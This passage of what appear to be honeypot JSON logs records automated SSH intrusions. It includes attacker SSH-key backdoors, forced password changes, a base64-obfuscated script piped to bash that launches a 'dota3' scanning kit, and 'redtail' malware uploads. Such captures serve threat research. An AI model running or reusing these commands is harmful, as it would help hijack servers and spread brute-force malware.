\u5929\u5929\u4e2d\u5f69\u7968\u4f1a"},{"seq":38,"at":"2026-08-23T13:35:43.370569+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T13:35:43.801197+00:00","kind":"output","latency_ms":428,"data":"-7182"},{"seq":40,"at":"2026-08-23T13:35:44.277073+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T13:35:44.753111+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T13:35:45.302529+00:00","kind":"output","latency_ms":550,"data":"-7182"},{"seq":43,"at":"2026-08-23T13:35:45.778276+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T13:35:46.248807+00:00","kind":"output","latency_ms":468,"data":"-7182"},{"seq":45,"at":"2026-08-23T13:35:46.730276+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T13:35:47.160158+00:00","kind":"output","latency_ms":430,"data":""},{"seq":47,"at":"2026-08-23T13:35:55.533482+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T13:35:55.535301+00:00","kind":"output","latency_ms":null,"data":"developer"}],"credentials":[{"username":"developer","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"171f38d1-ac7a-400e-8637-f48b63021680","name":"feral-western-zebu","protocol":"ssh","channel_kind":"exec","src_ip":"5.188.16.97","src_port":46568,"username":"samr","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":382,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T13:34:48.717073+00:00","ended_at":"2026-08-23T13:34:48.827999+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3686,"events":[{"seq":1,"at":"2026-08-23T13:34:19.567119+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T13:34:19.981922+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T13:34:24.648328+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T13:34:24.648762+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T13:34:25.019280+00:00","kind":"input","latency_ms":null,"data":"echo -e \"samr\\nApiLSlPWiPNY\\nApiLSlPWiPNY\"|passwd|bash"},{"seq":6,"at":"2026-08-23T13:34:25.393566+00:00","kind":"input","latency_ms":null,"data":"echo \"samr\\nApiLSlPWiPNY\\nApiLSlPWiPNY\\n\"|passwd"},{"seq":7,"at":"2026-08-23T13:34:25.785154+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T13:34:25.787070+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T13:34:26.163558+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T13:34:26.891472+00:00","kind":"output","latency_ms":728,"data":"15888 4120 8660 73 304 2735"},{"seq":11,"at":"2026-08-23T13:34:27.294386+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T13:34:28.152139+00:00","kind":"output","latency_ms":857,"data":"-rwxr-xr-x 1 root root 133K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T13:34:28.535056+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T13:34:28.535600+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T13:34:28.915518+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T13:34:28.917312+00:00","kind":"output","latency_ms":null,"data":" 13:34:28 up 3 days, 10:24, 0 user, load average: 0.2, 0.22, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T13:34:29.293075+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T13:34:29.293610+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T13:34:29.680709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T13:34:29.682068+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T13:34:30.080578+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T13:34:30.082732+00:00","kind":"output","latency_ms":null,"data":"top - 13:34:30 up 3 days, 10:24, 0 user, load average: 0.2, 0.22, 0.13\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T13:34:30.465259+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T13:34:30.465816+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T13:34:30.837305+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T13:34:30.837934+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T13:34:31.209237+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T13:34:31.209861+00:00","kind":"output","latency_ms":null,"data":"samr"},{"seq":29,"at":"2026-08-23T13:34:31.578119+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T13:34:32.329213+00:00","kind":"output","latency_ms":750,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel(s) 1\nCPU family: 25\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel(s) 8"},{"seq":31,"at":"2026-08-23T13:34:32.703579+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T13:34:33.139499+00:00","kind":"output","latency_ms":436,"data":"24G"},{"seq":33,"at":"2026-08-23T13:34:34.438088+00:00","kind":"input","latency_ms":null,"data":"echo \"samr samr\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T13:34:34.808136+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T13:34:35.262465+00:00","kind":"output","latency_ms":455,"data":""},{"seq":36,"at":"2026-08-23T13:34:36.181140+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T13:34:36.724558+00:00","kind":"output","latency_ms":541,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T13:34:37.095570+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T13:34:37.783140+00:00","kind":"output","latency_ms":687,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T13:34:38.152237+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T13:34:38.533465+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T13:34:39.023630+00:00","kind":"output","latency_ms":488,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T13:34:39.405674+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T13:34:39.997186+00:00","kind":"output","latency_ms":590,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T13:34:40.385420+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T13:34:40.800102+00:00","kind":"output","latency_ms":415,"data":""},{"seq":47,"at":"2026-08-23T13:34:48.719063+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T13:34:48.719360+00:00","kind":"output","latency_ms":null,"data":"samr"}],"credentials":[{"username":"samr","password":"samr","method":"password","accepted":true,"tier":"other"}]} {"id":"a7c2dc75-073e-4f82-8ea8-956c9e4d969f","name":"humble-lucid-albatross","protocol":"ssh","channel_kind":"sftp","src_ip":"130.12.180.51","src_port":36788,"username":"user","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n","started_at":"2026-08-23T12:55:19.400765+00:00","ended_at":"2026-08-23T12:55:19.733045+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":1029,"events":[{"seq":1,"at":"2026-08-23T12:55:19.188291+00:00","kind":"input","latency_ms":null,"data":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"},{"seq":2,"at":"2026-08-23T12:55:19.407695+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/user/clean.sh (1157 bytes)"},{"seq":3,"at":"2026-08-23T12:55:19.525313+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/user/redtail.arm7 (1448252 bytes)"},{"seq":4,"at":"2026-08-23T12:55:19.587188+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/user/redtail.arm8 (1696412 bytes)"},{"seq":5,"at":"2026-08-23T12:55:19.637947+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/user/redtail.i686 (1838060 bytes)"},{"seq":6,"at":"2026-08-23T12:55:19.682859+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/user/redtail.riscv (1759768 bytes)"},{"seq":7,"at":"2026-08-23T12:55:19.731372+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/user/setup.sh (2126 bytes)"},{"seq":8,"at":"2026-08-23T12:55:19.737091+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/user/redtail.x86_64 (1989056 bytes)"}],"credentials":[{"username":"user","password":"user","method":"password","accepted":true,"tier":"common"}]} {"id":"55f4bf7c-8351-4936-adaf-98ea4854c7bc","name":"cosmic-dapper-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"172.202.9.120","src_port":53304,"username":"nobody","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":168,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T09:48:02.182225+00:00","ended_at":"2026-08-23T09:48:02.225005+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4227,"events":[{"seq":1,"at":"2026-08-23T09:47:39.705392+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T09:47:39.873614+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T09:47:43.275083+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T09:47:43.275466+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T09:47:43.441506+00:00","kind":"input","latency_ms":null,"data":"echo -e \"nobody\\nxDB3JuvAfC57\\nxDB3JuvAfC57\"|passwd|bash"},{"seq":6,"at":"2026-08-23T09:47:43.608052+00:00","kind":"input","latency_ms":null,"data":"echo \"nobody\\nxDB3JuvAfC57\\nxDB3JuvAfC57\\n\"|passwd"},{"seq":7,"at":"2026-08-23T09:47:43.774297+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T09:47:43.775576+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T09:47:43.943201+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T09:47:44.811688+00:00","kind":"output","latency_ms":867,"data":"15888 0 15888 0 0 0"},{"seq":11,"at":"2026-08-23T09:47:44.980454+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T09:47:45.704528+00:00","kind":"output","latency_ms":723,"data":"-rwxr-xr-x 1 root root 148K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T09:47:45.873487+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T09:47:45.875045+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T09:47:46.051130+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T09:47:46.052528+00:00","kind":"output","latency_ms":null,"data":" 09:47:46 up 3 days, 6:37, 0 user, load average: 0.19, 0.2, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T09:47:46.220578+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T09:47:46.222481+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T09:47:46.389215+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T09:47:46.389606+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T09:47:46.557471+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T09:47:46.559891+00:00","kind":"output","latency_ms":null,"data":"top - 09:47:46 up 3 days, 6:37, 0 user, load average: 0.19, 0.2, 0.17\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T09:47:46.730885+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T09:47:46.731529+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T09:47:46.898339+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T09:47:46.900277+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T09:47:47.073398+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T09:47:47.074109+00:00","kind":"output","latency_ms":null,"data":"nobody"},{"seq":29,"at":"2026-08-23T09:47:47.244638+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T09:47:48.425168+00:00","kind":"output","latency_ms":1179,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T09:47:48.594618+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T09:47:49.012180+00:00","kind":"output","latency_ms":416,"data":"28G"},{"seq":33,"at":"2026-08-23T09:47:49.653662+00:00","kind":"input","latency_ms":null,"data":"echo \"nobody nobody\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T09:47:49.824061+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T09:47:50.217166+00:00","kind":"output","latency_ms":391,"data":""},{"seq":36,"at":"2026-08-23T09:47:50.377594+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T09:47:51.049594+00:00","kind":"output","latency_ms":672,"data":"psql: error: connection to server on socket \"/var/run/postgresql/.s.PGSQL.5432\" failed: FATAL: role \"nobody\" does not exist"},{"seq":38,"at":"2026-08-23T09:47:51.225395+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T09:47:51.743136+00:00","kind":"output","latency_ms":517,"data":"psql: error: connection to server on socket \"/var/run/postgresql/.s.PGSQL.5432\" failed: FATAL: role \"nobody\" does not exist"},{"seq":40,"at":"2026-08-23T09:47:51.939599+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T09:47:52.106746+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T09:47:52.841143+00:00","kind":"output","latency_ms":734,"data":"psql: error: connection to server on socket \"/var/run/postgresql/.s.PGSQL.5432\" failed: FATAL: role \"nobody\" does not exist"},{"seq":43,"at":"2026-08-23T09:47:53.008813+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T09:47:53.686374+00:00","kind":"output","latency_ms":677,"data":"psql: error: connection to server on socket \"/var/run/postgresql/.s.PGSQL.5432\" failed: FATAL: role \"nobody\" does not exist"},{"seq":45,"at":"2026-08-23T09:47:53.855390+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T09:47:54.303196+00:00","kind":"output","latency_ms":446,"data":""},{"seq":47,"at":"2026-08-23T09:48:02.183349+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T09:48:02.185352+00:00","kind":"output","latency_ms":null,"data":"nobody"}],"credentials":[{"username":"nobody","password":"nobody","method":"password","accepted":true,"tier":"other"}]} {"id":"a8a8dac7-e250-4c2b-8d5a-3dd11cce1446","name":"salty-whispering-gecko","protocol":"ssh","channel_kind":"exec","src_ip":"192.169.201.223","src_port":33562,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":224,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T08:15:44.521354+00:00","ended_at":"2026-08-23T08:15:44.584189+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4126,"events":[{"seq":1,"at":"2026-08-23T08:14:13.020190+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T08:14:13.242114+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd 